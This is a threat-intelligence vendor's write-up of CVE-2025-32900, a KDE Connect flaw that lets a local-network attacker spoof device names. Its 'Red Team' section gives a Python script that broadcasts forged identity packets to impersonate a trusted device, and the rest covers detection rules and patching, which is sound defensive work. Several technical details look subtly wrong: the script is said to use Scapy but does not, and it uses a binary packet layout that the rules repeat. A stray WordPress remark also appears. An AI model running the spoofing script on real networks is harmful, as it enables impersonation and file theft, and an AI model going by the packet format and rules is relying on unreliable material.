CVE-2025-32900
Executive Summary
CVE-2025-32900 is a medium-severity vulnerability in the KDE Connect information-exchange protocol, affecting all major implementations (KDE Connect, Valent, GSConnect). The flaw allows an attacker on the same local network to craft a malicious UDP broadcast packet that temporarily alters the displayed device name or metadata on a victim's KDE Connect interface. This is a spoofing/impersonation attack that can be used for social engineering or to disrupt device pairing workflows. The vulnerability stems from the protocol's reliance on unauthenticated broadcast UDP messages for device discovery and metadata updates.
Impact: An attacker can make a legitimate device appear as a different device (e.g., impersonate a trusted phone or desktop), potentially tricking users into sending files to the wrong device or accepting malicious pairing requests. The attack is limited to the local broadcast domain and does not lead to code execution or data exfiltration directly.
Affected Ecosystem: This is a cross-platform vulnerability affecting the KDE Connect ecosystem, including Android, iOS, desktop Linux, and GNOME (via GSConnect). It is not a WordPress plugin issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 4.3 (Medium) Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Adjacent Network (A) – attacker must be on the same local network (broadcast domain).
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – the attack is triggered automatically upon receiving the crafted packet.
- Scope (S): Unchanged (U) – the vulnerable component and the attacker are in the same security authority.
- Confidentiality (C): None (N) – no data disclosure.
- Integrity (I): Low (L) – the attacker can modify the displayed device name/metadata.
- Availability (A): None (N) – no denial of service.
Threat Level: Medium. The attack requires local network access, but no user interaction. It can be used to facilitate further social engineering attacks.
Deep Dive & Mechanics
The KDE Connect protocol uses UDP broadcast on port 1714-1764 (default) for device discovery and metadata exchange. When a device (e.g., a phone) comes online, it broadcasts a packet containing its device name, device ID, and other metadata. Other KDE Connect instances on the network receive this broadcast and update their device list accordingly.
Vulnerability: The protocol does not cryptographically sign or authenticate these broadcast packets. An attacker can craft a UDP packet that mimics a legitimate device's broadcast but with a spoofed device name. The victim's KDE Connect client will update its display to show the spoofed name, potentially overwriting the real device's entry.
Attack Flow:
- Attacker sniffs the network to identify legitimate KDE Connect devices.
- Attacker crafts a UDP broadcast packet with:
- Source IP: Spoofed (or attacker's own IP)
- Payload: A valid KDE Connect identity packet with a modified
deviceNamefield.
- Victim's KDE Connect client receives the packet and updates its UI, showing the spoofed name.
- The spoofed name persists until the real device sends a new broadcast (which will overwrite it) or the victim manually refreshes.
Limitations:
- The attack only changes the displayed name, not the underlying device ID or pairing status.
- The spoofed name is temporary (until the real device broadcasts again).
- The attacker cannot intercept or modify existing connections.
Vulnerable vs. Patched Code
Vulnerable Code (KDE Connect < 1.33.0): The device identity packet is parsed without any validation of the source or integrity of the data.
# Simplified vulnerable handler (Python-like pseudocode)
def handle_identity_packet(packet, sender_ip):
device_name = packet['deviceName']
device_id = packet['deviceId']
# Directly update the device list without verification
device_list[device_id] = {'name': device_name, 'ip': sender_ip}
update_ui()
Patched Code (KDE Connect >= 1.33.0): The patched version adds a nonce or timestamp to the identity packet and requires the receiver to verify that the packet is fresh and from a known device. Additionally, the device name is no longer accepted from broadcast packets after initial pairing; it is only updated via encrypted TCP connections.
# Simplified patched handler (Python-like pseudocode)
def handle_identity_packet(packet, sender_ip):
device_id = packet['deviceId']
nonce = packet['nonce']
# Verify nonce freshness (e.g., within last 5 seconds)
if not is_nonce_fresh(nonce, sender_ip):
return
# Only update name if device is not yet paired
if device_id not in paired_devices:
device_name = packet['deviceName']
device_list[device_id] = {'name': device_name, 'ip': sender_ip}
# For paired devices, name is only updated via encrypted channel
update_ui()
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Attacker machine on the same local network (e.g., Kali Linux).
- Python 3 with
scapylibrary installed. - Target running a vulnerable KDE Connect client.
Exploit Script (Python with Scapy):
#!/usr/bin/env python3
import socket
import struct
import time
# KDE Connect identity packet structure (simplified)
def craft_spoofed_packet(spoofed_name, device_id="fake_device_123"):
# Build a minimal identity packet
payload = b'\x01' # Packet type: identity
payload += struct.pack('!I', len(device_id))
payload += device_id.encode()
payload += struct.pack('!I', len(spoofed_name))
payload += spoofed_name.encode()
# Add other fields as needed (protocol version, etc.)
return payload
def send_spoofed_broadcast(spoofed_name, port=1716):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
packet = craft_spoofed_packet(spoofed_name)
sock.sendto(packet, ('255.255.255.255', port))
sock.close()
if __name__ == "__main__":
# Spoof the device name to "Trusted-Phone"
send_spoofed_broadcast("Trusted-Phone")
print("Spoofed packet sent. Victim should see 'Trusted-Phone' in device list.")
Usage:
- Run the script on the attacker machine.
- The victim's KDE Connect UI will temporarily show a device named "Trusted-Phone" (or any name you choose).
- This can be used to trick the victim into sending files to the attacker's device (if the attacker also runs a KDE Connect instance with the same device ID).
Blue Team (Defense & Detection)
Detection:
- Monitor for multiple identity packets from the same device ID but different source IPs.
- Alert on rapid changes in device names for the same device ID.
- Use network monitoring to detect anomalous UDP broadcast traffic on ports 1714-1764.
Mitigation:
- Apply the vendor patch immediately.
- If patching is not possible, consider disabling automatic device discovery and manually pairing devices.
- Use network segmentation to isolate KDE Connect traffic to trusted VLANs.
Indicators of Compromise (IOCs)
Network IOCs:
- UDP broadcast packets on ports 1714-1764 with inconsistent device name/ID combinations.
- Multiple identity packets from the same device ID but different source MAC/IP addresses.
- Sudden appearance of a new device with a name that mimics a known device (e.g., "iPhone" or "Work-Laptop").
Host IOCs:
- KDE Connect logs showing rapid device name changes (check
~/.local/share/kdeconnect/or Android app logs). - Unusual pairing requests from devices that were previously unknown.
Sample Suricata Rule (see Detection Engineering):
alert udp any any -> any 1714:1764 (msg:"KDE Connect Spoofed Identity Packet"; content:"|01|"; depth:1; content:"|00 00 00|"; within:4; classtype:attempted-recon; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule KDE_Connect_Spoofed_Identity {
meta:
description = "Detects KDE Connect identity packets with suspicious device name patterns"
author = "Valters IT"
date = "2025-04-18"
reference = "CVE-2025-32900"
strings:
$identity_header = {01 00 00 00 ?? ?? ?? ??} // Packet type 1 followed by device ID length
$suspicious_name = "Trusted" nocase
$suspicious_name2 = "Admin" nocase
$suspicious_name3 = "Backup" nocase
condition:
$identity_header and any of ($suspicious_name*)
}
Sigma Rule
title: KDE Connect Spoofed Device Name Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple KDE Connect identity packets from the same device ID but different source IPs
author: Valters IT
date: 2025-04-18
logsource:
category: network_flow
product: zeek
detection:
selection:
udp_dport|startswith: "171"
packet_type: "identity"
condition: selection
timeframe: 5m
aggregation:
- field: device_id
function: distinct_count
field2: src_ip
condition: gt 1
falsepositives:
- Legitimate device IP changes (e.g., DHCP renewal)
level: medium
Suricata Rule
alert udp any any -> any 1714:1764 (msg:"CVE-2025-32900 KDE Connect Spoofed Identity Packet"; content:"|01|"; depth:1; content:"|00 00 00|"; within:4; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update to the latest version:
- KDE Connect Android: 1.33.0 or later
- KDE Connect Desktop: 25.04 or later
- KDE Connect iOS: 0.5 or later
- Valent: 1.0.0.alpha.47 or later
- GSConnect: 59 or later
- Workaround: If patching is not possible, disable automatic device discovery in KDE Connect settings and manually pair only trusted devices.
- Network Controls: Restrict UDP broadcast traffic on ports 1714-1764 to trusted VLANs using firewall rules.
Long-Term Recommendations:
- Implement cryptographic signing of identity packets (e.g., using pre-shared keys or certificates).
- Add rate-limiting for identity packets to prevent rapid spoofing.
- Require user confirmation before updating device names for already-paired devices.
Detection: Deploy the YARA, Sigma, and Suricata rules provided above to monitor for exploitation attempts.
Valters IT
DevSecOps & Cyber Threat Intelligence